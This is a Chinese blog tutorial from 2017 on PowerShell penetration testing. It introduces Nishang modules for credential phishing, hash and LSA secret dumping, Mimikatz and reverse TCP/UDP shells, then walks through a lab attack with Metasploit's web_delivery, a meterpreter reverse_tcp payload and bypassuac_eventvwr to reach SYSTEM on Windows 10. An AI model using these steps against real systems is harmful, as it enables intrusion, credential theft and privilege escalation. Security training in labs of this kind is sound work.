00x01 #题外话
作者:墨(X_Al3r)
即刻安全:www.secist.com
十三年社团:www.klmyssn.com
一篇不知道该用什么名字的文章!
00x02
#什么是Powershell
PowerShell一般指Windows Power Shell
Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的
活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,
才能被我们所利用,帮助我们进行渗透测试。
Powershell的各系统版本
1. indows 2008 R2 - Version 2
2. Windows 2012 - Version 3
3. Windows 2012 R2 - Version 4
4. Windows 2016 - Version 5
#Poswershell的优秀之处
1. 代码运行在内存中可以不去接触磁盘
2. 从另一个系统中下载代码并执行
3. 很多安全产品并不能监测到powershell的活动
4. cmd.exe通常被阻止运行,但是powershell不会。
00x03
#所需要准备的东西
1: Nishang:https://github.com/samratashok/nishang(本文主要工具,其他不做使用介绍)、
用于逆向工程的PowerShell模块,可进行反汇编托管以及非托管的代码、进行.NET恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。
2:LinuxKaLi: https://www.kali.org
#导入Nishang脚本
1:启用Powershell
Win+R 启动Powershell
2:加载Nishang脚本
命令:Import-Module .\nishang.psm1
记住,要加上.\否则会报错例如这样
00x04模块介绍
#信息搜集
0:Check-VM 它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:HVMWare,Virtual Box,)来识别。
1:Invoke-CredentialsPhish 这个脚本是用来欺骗用户输入账号密码信息的
他会一直持续到你输入正确为止(无法关闭)直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码
Useradmin:admin
PassWord:qwe123!@#
2: FireBuster FireListener 可以对内网进行扫描,它会把包发给FireListener
脚本作者的Github上面还提供了一个Python版的监听端:
https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/
3:Get-Information 这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。
还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用Out-File来将运行结果保存到指定文件.
Get-Information | Out-File D:\1.txt
4:Get-LSASecret 该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下。
因为执行这个脚本需要32位的powershell(我的为64)就不做演示了
5:Get-PassHashes 这个脚本在Administrator的权限下,可以读出密码哈希值
可以使用-PSObjectFormat来格式化输出结果
6:Get-WLAN-Keys 在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息
没有装wlan所以没有信息
7:Invoke-MimikatzWdigestDowngrade Dump出Windows 8.1 and Server 2012的系统用户密码。
相信看到Mimikatz也就知道了 执行了Windows会锁屏
8:Get-PassHints 从一个目标得到Windows用户的密码提示 没有密码提示,就不演示了
以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍
喜欢提权的小伙伴,干货来了~~~
#反弹shell
0:Invoke-PowerShellTcp 互交式Powershell 反向TCP连接
首先我在Kali(标题带有kali怎么能不启用kali呢)上启用启用一个监听
然后开始在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去
然后开始在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去
同样,windows也可以挂载一个监听使用powercat即可
Powercat项目地址:https://github.com/besimorhino/powercat
同样在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去
同样,毫无例外
1:Invoke-PowerShellUdp 互交式Powershell 反向udp连接
同样我先在Kali上启用启用一个监听不过这次用的ncat
2:powercat 这款工具的强大我相信也不用我多说了吧,他被称之为PowerShell的netcat之前也有说,我就不细细介绍了
当然,反弹shell不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~
00x04实战操作Powershell与Metasploit
1:win10_BypassUAC(win10提权)
1:攻击者ip:192.168.1.103
2:攻击者系统:Linux Kali
3:被攻击者ip:192.168.1.100
4:被攻击者系统:Win10
2:攻击流程
1:使用Metasploit中的web_delivery模块生成一个Powershell脚本
2:被攻击者系统执行Posershell脚本
3:msf接收一个会话
4:使用bypassuac模块提升权限
3:攻击开始
1:加载web_delivery模块
use exploit/multi/script/web_delivery
Show options查看所需要设置的信息
设置target为2
set target 2
加载一个Payload
set payload windows/meterpreter/reverse_tcp
设置LHOST
设置LPORT
开始攻击
Exploit
然后我在物理机上执行下Metasploit给我的Powershell执行代码
Metasploit反弹得到一个meterpreter会话
加载BypassUac模块
use exploit/windows/local/bypassuac_eventvwr
Show options 查看所需配置
Set session
设置你刚刚获得的meterpreter会话
Exploit 开始攻击
当然你需要换一下你的端口,否则会冲突
反弹得到一个会话
得到system权限
使用shell命令进入cmd 添加用户
已经添加成功 如果直接添加是不可以的
Powershell And Metasploit(上)结束
下会后续发布~~ 如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~
UAC提权(来自我们demon表哥的视频):
http://oc78wb8cz.bkt.clouddn.com/win10_bypassUAC.mp4
本文搜集许多资料做的小结,有如雷同,请勿责怪~
橡胶密封件 · 2017-04-17 17:45
橡胶支座 · 2017-04-16 05:33
果冻胶 · 2017-04-11 22:55
B年小表弟 · 2017-03-08 13:52